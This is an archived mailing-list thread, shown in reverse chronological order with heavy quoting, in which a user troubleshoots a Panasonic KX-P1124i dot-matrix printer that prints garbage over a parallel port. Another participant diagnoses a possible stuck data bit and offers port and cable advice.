> > On Friday, May 7, 2021 6:27 PM, Gene Heskett ghesk...@shentel.net
>
> wrote:
>
> > > On Friday 07 May 2021 18:14:19 fxkl47BF wrote:
> > >
> > > > ‐‐‐ Original Message ‐‐‐
> > > > On Friday, May 7, 2021 6:45 AM, Gene Heskett ghesk...@shentel.net
> > >
> > > wrote:
> > >
> > > > > On Friday 07 May 2021 07:10:16 fxkl47BF wrote:
> > > > >
> > > > > > a friend gave me a panasonic kx-p1124i. the printer works ok
> > > > > > and i have it connected with a parallel cable. i configured it
> > > > > > with cups to use "Driver: Panasonic KX-P1124 Foomatic/epson
> > > > > > (recommended) (grayscale)". it prints garbage. i downloaded
> > > > > > the ppd file recommended at openprinting.org and still get
> > > > > > garbage. suggestions are appreciated.
> > > > >
> > > > > You may not be able to on hat old a printer unless the driver
> > > > > can be configured to hold the port data valid until the printer
> > > > > acks the strobe signal.
> > > > > That printer has fcc required noise filters in its input socket
> > > > > which restricts the data speed, and if the port doesn't hold the
> > > > > data until the printer acks it, at least 2 microseconds, its
> > > > > going to print garbage. BTDT, gave up and used the slower serial
> > > > > port the printer also had. You need a 1284 rated cable, and a
> > > > > printer port that can do EPP mode, not always supported by mobo
> > > > > hardware. I could be wrong, but it sure smells like this.
> > > >
> > > > i checked the port and it is set to epp
> > > > excuse me if i ramble a bit
> > > > i create a file with one word 'hello' followed by a newline and a
> > > > carriage return the content of the file in hex is 68 65 6C 6C 6F
> > > > 0A 0C if i print the file with cat file > /dev/lp0 i get "helloJL"
> > > > capital J is 0x0a plus 0x40, capital L is 0x0c plus 0x40
> > > > 0x0a and 0x0c are control characters
> > > > where and why are they being converted to printable characters
> > >
> > > That is usefull, as it says the port is duff, with bit d6 stuck
> > > high. Or possibly that the cable is duff, can you "ring" it with an
> > > ohmeter?
> > > d0 set would be a 0x01, d1 would be a 0x02, and d2 would be an 0x04,
> > > d3 would be an 0x08, d4=0x10, d5=0x20 and d6=0x40. Possibly blown by
> > > being plugged in live at some time back in the mists of time. If the
> > > machines card bus has an empty slot, you might try a different port
> > > card. A $20 bill should get one of those.
> > > There could be some old mostech chips that don't support epp though,
> > > so make sure the web page propaganda says it does support epp.
> > > Thats a 24 pin head "pin pounder" printer, and I'd be surprised if
> > > all the pins work, they were small and fragile 2 decades ago. It,
> > > and the 24 pin oki's were about the best of the lot back then.
> > > Nowadays, the parport is fading away, and thats making it hard to
> > > build a cnc machine controller on the cheap using a parport breakout
> > > board for the machine control.
> >
> > i tried a motherboard with a builtin parallel port
> > a startech card, a rosewill card, and a parallel to usb adapter
> > the results was all the same
> > the answer is probably right in front of me and i'm to thick to see it
> > :)
>
> You've about covered it, I've run a smallish milling machine with both
> startech and rosewll cards, rosewell with an occasional hiccup but that
> motherboard did not have very good latency figures. I located some
> testing stuff, which pointed a guilty finger at the nvidia video board
> driver, which thought nothing of locking up the rest of the system for
> 300 milliseconds while it updated the screen. You simply cannot do that
> while giving a stepper motor its marching cadence thru the parport every
> 40 microseconds.
>
> Regretably, that leaves the printer itself, have you tried another?

i have a friend that has a different make of dot matrix printer
i'm going to see if he'll let me borrow it
this list doesn't seem to be the best place to discuss printers
maybe the people at emc-users would have some ideas
they don't seem to mind off topic discussions



Re: ot: kx-p1124i configuration

2021-05-07 Thread fxkl47BF
‐‐‐ Original Message ‐‐‐
On Friday, May 7, 2021 6:27 PM, Gene Heskett  wrote:

> On Friday 07 May 2021 18:14:19 fxkl47BF wrote:
>
> > ‐‐‐ Original Message ‐‐‐
> > On Friday, May 7, 2021 6:45 AM, Gene Heskett ghesk...@shentel.net
>
> wrote:
>
> > > On Friday 07 May 2021 07:10:16 fxkl47BF wrote:
> > >
> > > > a friend gave me a panasonic kx-p1124i. the printer works ok and i
> > > > have it connected with a parallel cable. i configured it with cups
> > > > to use "Driver: Panasonic KX-P1124 Foomatic/epson (recommended)
> > > > (grayscale)". it prints garbage. i downloaded the ppd file
> > > > recommended at openprinting.org and still get garbage. suggestions
> > > > are appreciated.
> > >
> > > You may not be able to on hat old a printer unless the driver can be
> > > configured to hold the port data valid until the printer acks the
> > > strobe signal.
> > > That printer has fcc required noise filters in its input socket
> > > which restricts the data speed, and if the port doesn't hold the
> > > data until the printer acks it, at least 2 microseconds, its going
> > > to print garbage. BTDT, gave up and used the slower serial port the
> > > printer also had. You need a 1284 rated cable, and a printer port
> > > that can do EPP mode, not always supported by mobo hardware.
> > > I could be wrong, but it sure smells like this.
> >
> > i checked the port and it is set to epp
> > excuse me if i ramble a bit
> > i create a file with one word 'hello' followed by a newline and a
> > carriage return the content of the file in hex is 68 65 6C 6C 6F 0A 0C
> > if i print the file with cat file > /dev/lp0 i get "helloJL"
> > capital J is 0x0a plus 0x40, capital L is 0x0c plus 0x40
> > 0x0a and 0x0c are control characters
> > where and why are they being converted to printable characters
>
> That is usefull, as it says the port is duff, with bit d6 stuck high. Or
> possibly that the cable is duff, can you "ring" it with an ohmeter?
>
> d0 set would be a 0x01, d1 would be a 0x02, and d2 would be an 0x04, d3
> would be an 0x08, d4=0x10, d5=0x20 and d6=0x40. Possibly blown by being
> plugged in live at some time back in the mists of time. If the machines
> card bus has an empty slot, you might try a different port card. A $20
> bill should get one of those.
>
> There could be some old mostech chips that don't support epp though, so
> make sure the web page propaganda says it does support epp.
>
> Thats a 24 pin head "pin pounder" printer, and I'd be surprised if all
> the pins work, they were small and fragile 2 decades ago. It, and the 24
> pin oki's were about the best of the lot back then. Nowadays, the
> parport is fading away, and thats making it hard to build a cnc machine
> controller on the cheap using a parport breakout board for the machine
> control.

i tried a motherboard with a builtin parallel port
a startech card, a rosewill card, and a parallel to usb adapter
the results was all the same
the answer is probably right in front of me and i'm to thick to see it :)



Re: ot: kx-p1124i configuration

2021-05-07 Thread fxkl47BF
‐‐‐ Original Message ‐‐‐
On Friday, May 7, 2021 6:45 AM, Gene Heskett  wrote:

> On Friday 07 May 2021 07:10:16 fxkl47BF wrote:
>
> > a friend gave me a panasonic kx-p1124i. the printer works ok and i
> > have it connected with a parallel cable. i configured it with cups to
> > use "Driver: Panasonic KX-P1124 Foomatic/epson (recommended)
> > (grayscale)". it prints garbage. i downloaded the ppd file recommended
> > at openprinting.org and still get garbage. suggestions are
> > appreciated.
>
> You may not be able to on hat old a printer unless the driver can be
> configured to hold the port data valid until the printer acks the strobe
> signal.
>
> That printer has fcc required noise filters in its input socket which
> restricts the data speed, and if the port doesn't hold the data until
> the printer acks it, at least 2 microseconds, its going to print
> garbage. BTDT, gave up and used the slower serial port the printer also
> had. You need a 1284 rated cable, and a printer port that can do EPP
> mode, not always supported by mobo hardware.
>
> I could be wrong, but it sure smells like this.

i checked the port and it is set to epp
excuse me if i ramble a bit
i create a file with one word 'hello' followed  by a newline and a carriage 
return
the content of the file in hex is 68 65 6C 6C 6F 0A 0C
if i print the file with cat file > /dev/lp0 i get "helloJL"
capital J is 0x0a plus 0x40, capital L is 0x0c plus 0x40
0x0a and 0x0c are control characters
where and why are they being converted to printable characters



ot: kx-p1124i configuration

2021-05-07 Thread fxkl47BF
a friend gave me a panasonic kx-p1124i. the printer works ok and i have it 
connected with a parallel cable. i configured it with cups to use "Driver: 
Panasonic KX-P1124 Foomatic/epson (recommended) (grayscale)". it prints 
garbage. i downloaded the ppd file recommended at openprinting.org and still 
get garbage. suggestions are appreciated.